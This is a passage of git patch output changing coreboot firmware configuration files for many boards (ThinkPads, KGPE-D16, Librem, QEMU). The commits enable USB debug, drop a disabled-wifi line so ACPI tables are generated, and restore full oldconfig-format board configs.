CONFIG_LINUX_COMMAND_LINE="nohz=on console=ttyS1,115200n8 earlyprintk=ttyS1,115200 quiet loglevel=2" CONFIG_COREBOOT_ROMSIZE_KB_16384=y diff --git a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config index dd7d051ac..6668d2743 100644 --- a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config +++ b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config @@ -4,6 +4,7 @@ CONFIG_VENDOR_ASUS=y CONFIG_UART_FOR_CONSOLE=1 CONFIG_BOARD_ASUS_KGPE_D16=y # CONFIG_DRIVERS_INTEL_WIFI is not set +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_LINUX_COMMAND_LINE="nohz=on console=tty0 earlyprintk=tty0 quiet loglevel=2" CONFIG_COREBOOT_ROMSIZE_KB_16384=y diff --git a/config/coreboot-kgpe-d16_workstation.config b/config/coreboot-kgpe-d16_workstation.config index dd7d051ac..6668d2743 100644 --- a/config/coreboot-kgpe-d16_workstation.config +++ b/config/coreboot-kgpe-d16_workstation.config @@ -4,6 +4,7 @@ CONFIG_VENDOR_ASUS=y CONFIG_UART_FOR_CONSOLE=1 CONFIG_BOARD_ASUS_KGPE_D16=y # CONFIG_DRIVERS_INTEL_WIFI is not set +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_LINUX_COMMAND_LINE="nohz=on console=tty0 earlyprintk=tty0 quiet loglevel=2" CONFIG_COREBOOT_ROMSIZE_KB_16384=y diff --git a/config/coreboot-p8z77-m_pro-tpm1.config b/config/coreboot-p8z77-m_pro-tpm1.config index 084593692..35b3e70d4 100644 --- a/config/coreboot-p8z77-m_pro-tpm1.config +++ b/config/coreboot-p8z77-m_pro-tpm1.config @@ -701,3 +701,4 @@ CONFIG_RELOCATABLE_MODULES=y CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y +CONFIG_USBDEBUG=y diff --git a/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config b/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config index 38f6c3164..562095f09 100644 --- a/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config +++ b/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config @@ -17,3 +17,4 @@ CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6=y CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_USBDEBUG=y diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index a6218bfbc..f2fe3cc00 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -19,6 +19,7 @@ CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_USBDEBUG=y CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 CONFIG_DRIVERS_PS2_KEYBOARD=y diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index 6c2334f43..f74947e94 100644 --- a/config/coreboot-qemu-tpm2.config +++ b/config/coreboot-qemu-tpm2.config @@ -17,6 +17,7 @@ CONFIG_PCIEXP_COMMON_CLOCK=y # CONFIG_PCIEXP_HOTPLUG is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_USBDEBUG=y CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 CONFIG_DRIVERS_PS2_KEYBOARD=y diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index 6ab98f5b4..6ad336125 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -22,6 +22,7 @@ CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_PAYLOAD_LINUX=y diff --git a/config/coreboot-t420.config b/config/coreboot-t420.config index c70179cfe..1a4ada981 100644 --- a/config/coreboot-t420.config +++ b/config/coreboot-t420.config @@ -695,3 +695,4 @@ CONFIG_RELOCATABLE_MODULES=y CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y +CONFIG_USBDEBUG=y diff --git a/config/coreboot-t430-legacy-flash.config b/config/coreboot-t430-legacy-flash.config index 589a356fd..8e0d5a7d0 100644 --- a/config/coreboot-t430-legacy-flash.config +++ b/config/coreboot-t430-legacy-flash.config @@ -663,3 +663,4 @@ CONFIG_RELOCATABLE_MODULES=y CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y +CONFIG_USBDEBUG=y diff --git a/config/coreboot-t430-legacy.config b/config/coreboot-t430-legacy.config index 65c3ef1d0..f661d1b7e 100644 --- a/config/coreboot-t430-legacy.config +++ b/config/coreboot-t430-legacy.config @@ -681,3 +681,4 @@ CONFIG_RELOCATABLE_MODULES=y CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y +CONFIG_USBDEBUG=y diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index fca3630f2..447afe734 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -22,6 +22,7 @@ CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_PAYLOAD_LINUX=y diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index d22f8b3a9..7e54b6255 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -19,6 +19,7 @@ CONFIG_HAVE_ME_BIN=y CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_USBDEBUG=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" diff --git a/config/coreboot-t520-maximized.config b/config/coreboot-t520-maximized.config index 6cc2696a8..4376cdfaf 100644 --- a/config/coreboot-t520-maximized.config +++ b/config/coreboot-t520-maximized.config @@ -691,3 +691,4 @@ CONFIG_RELOCATABLE_MODULES=y CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y +CONFIG_USBDEBUG=y diff --git a/config/coreboot-t530-dgpu-maximized.config b/config/coreboot-t530-dgpu-maximized.config index 43521a9e8..3cc26a5fe 100644 --- a/config/coreboot-t530-dgpu-maximized.config +++ b/config/coreboot-t530-dgpu-maximized.config @@ -727,3 +727,4 @@ CONFIG_RELOCATABLE_MODULES=y CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y +CONFIG_USBDEBUG=y diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 1050ab84e..54df4461e 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -21,6 +21,7 @@ CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y diff --git a/config/coreboot-w530-dgpu-K1000m-maximized.config b/config/coreboot-w530-dgpu-K1000m-maximized.config index dba700f88..701d532c8 100644 --- a/config/coreboot-w530-dgpu-K1000m-maximized.config +++ b/config/coreboot-w530-dgpu-K1000m-maximized.config @@ -728,3 +728,4 @@ CONFIG_RELOCATABLE_MODULES=y CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y +CONFIG_USBDEBUG=y diff --git a/config/coreboot-w530-dgpu-K2000m-maximized.config b/config/coreboot-w530-dgpu-K2000m-maximized.config index 9fc42a0bb..249f880e6 100644 --- a/config/coreboot-w530-dgpu-K2000m-maximized.config +++ b/config/coreboot-w530-dgpu-K2000m-maximized.config @@ -728,3 +728,4 @@ CONFIG_RELOCATABLE_MODULES=y CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y +CONFIG_USBDEBUG=y diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index da3b0b238..c8c62dbcb 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -21,6 +21,7 @@ CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index d8f6eba1c..e0f55bd95 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -20,6 +20,7 @@ CONFIG_HAVE_ME_BIN=y CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_USBDEBUG=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index c175fd35e..0fb4e5be1 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -20,6 +20,7 @@ CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_PAYLOAD_LINUX=y diff --git a/config/coreboot-x220.config b/config/coreboot-x220.config index da3f623bd..a1edd6fc1 100644 --- a/config/coreboot-x220.config +++ b/config/coreboot-x220.config @@ -697,3 +697,4 @@ CONFIG_RELOCATABLE_MODULES=y CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y +CONFIG_USBDEBUG=y diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index fc2b1202c..fe5434f05 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -24,6 +24,7 @@ CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y # CONFIG_PCI_ALLOW_BUS_MASTER is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index b9a14bf4b..7d5622191 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -21,6 +21,7 @@ CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y # CONFIG_PCI_ALLOW_BUS_MASTER is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set CONFIG_PAYLOAD_LINUX=y diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index d4f1bc114..771a91e24 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -23,6 +23,7 @@ CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_PAYLOAD_LINUX=y diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index 7757e2102..fcff12491 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -25,6 +25,7 @@ CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y # CONFIG_PCI_ALLOW_BUS_MASTER is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index 8fb06cb57..3acb16396 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -24,6 +24,7 @@ CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_TPM_RDRESP_NEED_DELAY=y CONFIG_TPM_LOG_CB=y From 296772a62828a1ba660cf1927d3c00490458d227 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 17 Jul 2024 14:04:25 -0400 Subject: [PATCH 177/619] coreboot configs: add CONFIG_DRIVERS_INTEL_WIFI This is needed so that ACPI tables are generated from coreboot for final OS to not apply quirks to support wifi cards TODO: bluethooth not activated here, maybe we should. sed -i '/# CONFIG_DRIVERS_INTEL_WIFI is not set/d' config/coreboot-*.config Signed-off-by: Thierry Laurion --- config/coreboot-kgpe-d16_server-whiptail.config | 1 - config/coreboot-kgpe-d16_server.config | 1 - config/coreboot-kgpe-d16_workstation-usb_keyboard.config | 1 - config/coreboot-kgpe-d16_workstation.config | 1 - config/coreboot-librem_l1um.config | 1 - config/coreboot-t430-legacy-flash.config | 1 - config/coreboot-x230-legacy-flash.config | 1 - config/coreboot-x230-legacy.config | 1 - config/coreboot-x230-maximized-fhd_edp.config | 1 - config/coreboot-x230-maximized.config | 1 - 10 files changed, 10 deletions(-) diff --git a/config/coreboot-kgpe-d16_server-whiptail.config b/config/coreboot-kgpe-d16_server-whiptail.config index 6668d2743..426cfe806 100644 --- a/config/coreboot-kgpe-d16_server-whiptail.config +++ b/config/coreboot-kgpe-d16_server-whiptail.config @@ -3,7 +3,6 @@ CONFIG_MEASURED_BOOT=y CONFIG_VENDOR_ASUS=y CONFIG_UART_FOR_CONSOLE=1 CONFIG_BOARD_ASUS_KGPE_D16=y -# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_LINUX_COMMAND_LINE="nohz=on console=tty0 earlyprintk=tty0 quiet loglevel=2" diff --git a/config/coreboot-kgpe-d16_server.config b/config/coreboot-kgpe-d16_server.config index 43b857f32..e08ec4f19 100644 --- a/config/coreboot-kgpe-d16_server.config +++ b/config/coreboot-kgpe-d16_server.config @@ -3,7 +3,6 @@ CONFIG_MEASURED_BOOT=y CONFIG_VENDOR_ASUS=y CONFIG_UART_FOR_CONSOLE=1 CONFIG_BOARD_ASUS_KGPE_D16=y -# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_LINUX_COMMAND_LINE="nohz=on console=ttyS1,115200n8 earlyprintk=ttyS1,115200 quiet loglevel=2" diff --git a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config index 6668d2743..426cfe806 100644 --- a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config +++ b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config @@ -3,7 +3,6 @@ CONFIG_MEASURED_BOOT=y CONFIG_VENDOR_ASUS=y CONFIG_UART_FOR_CONSOLE=1 CONFIG_BOARD_ASUS_KGPE_D16=y -# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_LINUX_COMMAND_LINE="nohz=on console=tty0 earlyprintk=tty0 quiet loglevel=2" diff --git a/config/coreboot-kgpe-d16_workstation.config b/config/coreboot-kgpe-d16_workstation.config index 6668d2743..426cfe806 100644 --- a/config/coreboot-kgpe-d16_workstation.config +++ b/config/coreboot-kgpe-d16_workstation.config @@ -3,7 +3,6 @@ CONFIG_MEASURED_BOOT=y CONFIG_VENDOR_ASUS=y CONFIG_UART_FOR_CONSOLE=1 CONFIG_BOARD_ASUS_KGPE_D16=y -# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_LINUX_COMMAND_LINE="nohz=on console=tty0 earlyprintk=tty0 quiet loglevel=2" diff --git a/config/coreboot-librem_l1um.config b/config/coreboot-librem_l1um.config index 271edc23b..c9333f7fe 100644 --- a/config/coreboot-librem_l1um.config +++ b/config/coreboot-librem_l1um.config @@ -2,7 +2,6 @@ CONFIG_USE_BLOBS=y CONFIG_MEASURED_BOOT=y CONFIG_VENDOR_PURISM=y CONFIG_CBFS_SIZE=0xC00000 -# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Server L1UM" CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um/me.bin" diff --git a/config/coreboot-t430-legacy-flash.config b/config/coreboot-t430-legacy-flash.config index 8e0d5a7d0..5fea4a623 100644 --- a/config/coreboot-t430-legacy-flash.config +++ b/config/coreboot-t430-legacy-flash.config @@ -146,7 +146,6 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" # CONFIG_HAVE_IFD_BIN is not set diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index fe5434f05..245d32354 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -10,7 +10,6 @@ CONFIG_VENDOR_LENOVO=y CONFIG_NO_POST=y CONFIG_CBFS_SIZE=0x400000 CONFIG_ONBOARD_VGA_IS_PRIMARY=y -# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 CONFIG_BOARD_LENOVO_X230=y CONFIG_TPM_MEASURED_BOOT=y diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index 7d5622191..f9c8455ff 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -10,7 +10,6 @@ CONFIG_VENDOR_LENOVO=y CONFIG_NO_POST=y CONFIG_CBFS_SIZE=0x700000 CONFIG_ONBOARD_VGA_IS_PRIMARY=y -# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 CONFIG_BOARD_LENOVO_X230=y CONFIG_TPM_MEASURED_BOOT=y diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index 771a91e24..292db04b6 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -8,7 +8,6 @@ CONFIG_VENDOR_LENOVO=y CONFIG_NO_POST=y CONFIG_CBFS_SIZE=0xBE4FFF CONFIG_ONBOARD_VGA_IS_PRIMARY=y -# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index fcff12491..36f41862e 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -8,7 +8,6 @@ CONFIG_VENDOR_LENOVO=y CONFIG_NO_POST=y CONFIG_CBFS_SIZE=0xBE4FFF CONFIG_ONBOARD_VGA_IS_PRIMARY=y -# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" From df1e6d7540e841aa53b2bdb1661dfec1949e68e2 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 17 Jul 2024 14:10:11 -0400 Subject: [PATCH 178/619] coreboot configs: put back all maintained boards (boards/*)'s coreboot configs in oldconfig format Signed-off-by: Thierry Laurion --- .../coreboot-kgpe-d16_server-whiptail.config | 704 +++++++++++++++ config/coreboot-kgpe-d16_server.config | 704 +++++++++++++++ ...t-kgpe-d16_workstation-usb_keyboard.config | 704 +++++++++++++++ config/coreboot-kgpe-d16_workstation.config | 704 +++++++++++++++ config/coreboot-librem_11.config | 732 +++++++++++++++ config/coreboot-librem_13v2.config | 776 ++++++++++++++++ config/coreboot-librem_13v4.config | 776 ++++++++++++++++ config/coreboot-librem_14.config | 783 ++++++++++++++++ config/coreboot-librem_15v3.config | 776 ++++++++++++++++ config/coreboot-librem_15v4.config | 776 ++++++++++++++++ config/coreboot-librem_l1um.config | 697 ++++++++++++++ config/coreboot-librem_l1um_v2.config | 773 ++++++++++++++++ config/coreboot-librem_mini.config | 768 ++++++++++++++++ config/coreboot-librem_mini_v2.config | 775 ++++++++++++++++ config/coreboot-nitropad-ns50.config | 849 ++++++++++++++++++ config/coreboot-nitropad-nv41.config | 849 ++++++++++++++++++ config/coreboot-qemu-tpm1.config | 541 +++++++++++ config/coreboot-qemu-tpm2.config | 535 +++++++++++ config/coreboot-t420-maximized.config | 683 ++++++++++++++ config/coreboot-t430-maximized.config | 683 ++++++++++++++ config/coreboot-t440p.config | 680 ++++++++++++++ config/coreboot-t530-maximized.config | 684 ++++++++++++++ config/coreboot-talos-2.config | 377 ++++++++ config/coreboot-w530-maximized.config | 685 ++++++++++++++ config/coreboot-w541.config | 678 ++++++++++++++ config/coreboot-x220-maximized.config | 684 ++++++++++++++ config/coreboot-x230-legacy-flash.config | 664 ++++++++++++++ config/coreboot-x230-legacy.config | 667 ++++++++++++++ config/coreboot-x230-maximized-fhd_edp.config | 682 ++++++++++++++ config/coreboot-x230-maximized.config | 677 ++++++++++++++ config/coreboot-z220-cmt.config | 680 ++++++++++++++ 31 files changed, 21746 insertions(+) diff --git a/config/coreboot-kgpe-d16_server-whiptail.config b/config/coreboot-kgpe-d16_server-whiptail.config index 426cfe806..33490fc80 100644 --- a/config/coreboot-kgpe-d16_server-whiptail.config +++ b/config/coreboot-kgpe-d16_server-whiptail.config @@ -1,17 +1,721 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set CONFIG_USE_OPTION_TABLE=y +# CONFIG_STATIC_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +# CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_NO_RELOCATABLE_RAMSTAGE=y +# CONFIG_RELOCATABLE_RAMSTAGE is not set +# CONFIG_UPDATE_IMAGE is not set +# CONFIG_BOOTSPLASH_IMAGE is not set CONFIG_MEASURED_BOOT=y + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_ADI is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_ADVANSUS is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set CONFIG_VENDOR_ASUS=y +# CONFIG_VENDOR_AVALUE is not set +# CONFIG_VENDOR_BAP is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_ELMEX is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ESD is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GIZMOSPHERE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IEI is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_JETWAY is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIPPERT is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SCALEWAY is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TYAN is not set +# CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_DIR="asus/kgpe-d16" +CONFIG_MAINBOARD_PART_NUMBER="KGPE-D16" +CONFIG_MAX_CPUS=32 +CONFIG_CBFS_SIZE=0x1000000 CONFIG_UART_FOR_CONSOLE=1 +CONFIG_MAINBOARD_VENDOR="ASUS" +CONFIG_APIC_ID_OFFSET=0x0 +CONFIG_HW_MEM_HOLE_SIZEK=0x100000 +CONFIG_MAX_PHYSICAL_CPUS=4 +CONFIG_HT_CHAIN_END_UNITID_BASE=0x20 +CONFIG_HT_CHAIN_UNITID_BASE=0x0 +CONFIG_IRQ_SLOT_COUNT=13 +CONFIG_VGA_BIOS_ID="1a03,2000" +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_DIMM_SPD_SIZE=256 +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x10000 +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="ASUS" +CONFIG_DEVICETREE="devicetree.cb" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +# CONFIG_BOARD_ASUS_AM1I_A is not set +# CONFIG_BOARD_ASUS_F2A85_M is not set +# 